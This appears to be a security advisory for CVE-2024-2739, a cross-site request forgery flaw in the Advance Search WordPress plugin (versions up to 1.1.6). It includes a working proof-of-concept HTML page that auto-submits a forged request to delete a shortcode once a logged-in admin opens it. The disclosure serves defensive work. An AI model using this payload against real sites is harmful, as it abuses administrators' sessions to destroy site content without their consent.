Advance Search <= 1.1.6 – Shortcode Deletion via CSRF | CVE 2024-2739

Description

The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions via CSRF attacks

Proof of Concept

Make a logged in admin open the following HTML (replace `__FORM_ID__` with a valid ID):

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="post">
        <input type="hidden" name="action" value="WPAS_Advanced_Search_extra_ajax">
        <input type="hidden" name="ajax_type" value="delete_search">
        <input type="hidden" name="security" value="123">
        <input type="hidden" name="form_id" value="__FORM_ID__">
        <input type="hidden" name="search_form_name" value="">
        <input type="submit" value="Submit Request">
</body>
```

The `security` field isn't validated and the shortcode is deleted.